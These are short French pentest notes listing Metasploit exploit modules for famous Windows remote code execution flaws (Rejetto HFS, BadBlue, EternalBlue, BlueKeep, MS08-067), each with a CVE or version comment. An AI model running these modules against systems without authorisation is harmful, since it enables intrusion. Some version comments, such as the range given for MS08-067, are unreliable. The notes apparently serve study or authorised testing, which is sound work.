Les vecteurs d’attaque emblématiques

HTTP

serveur http non fiables

msf > use exploit/windows/http/rejetto_hfs_exec #CVE:2014-6287
msf > use exploit/windows/http/badblue_passthru #CVE:2007-6377 BadBlue2.72b

SMB

eternalblue / wanacry

exploit/windows/smb/ms17_010_eternalblue #eternalblue ...pas stable

BlueKeep

• Affectait RDP de Windows, permettant l’exécution de code à distance.

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce   # <= windows 2008

Conficker / NetAPI

Faille RPC/SMB

use exploit/windows/smb/ms08_067_netapi #windows <=8 ou 2016